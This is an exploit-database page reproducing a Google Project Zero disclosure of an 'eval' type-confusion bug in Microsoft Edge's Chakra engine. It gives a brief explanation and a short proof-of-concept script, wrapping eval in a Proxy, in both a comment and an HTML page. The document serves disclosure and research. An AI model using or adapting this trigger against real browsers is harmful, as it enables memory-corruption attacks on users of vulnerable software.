Microsoft Edge – ‘eval’ Type Confusion

  • 作者： Google Security Research
    日期： 2016-11-17
  • 类别：
    平台：
  • 来源：https://www.exploit-db.com/exploits/40773/
  • <!--
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=948

In Chakra, function calls can sometimes take an extra internal argument, using the flag CallFlags_ExtraArg. The global eval function makes assumptions about the type of this extra arg, and casts it to a FrameDisplay object. If eval is called from a location in code where an extra parameter is added, for example, a Proxy function trap, and the extra parameter is of a different type, this can lead to type confusion. A full PoC is as follows and attached:

var p = new Proxy(eval, {});
p("alert(\"e\")"); 
-->

<html>
<body>
<script>
var p = new Proxy(eval, {});
p("alert(\"e\")");
</script>
</body>
</html>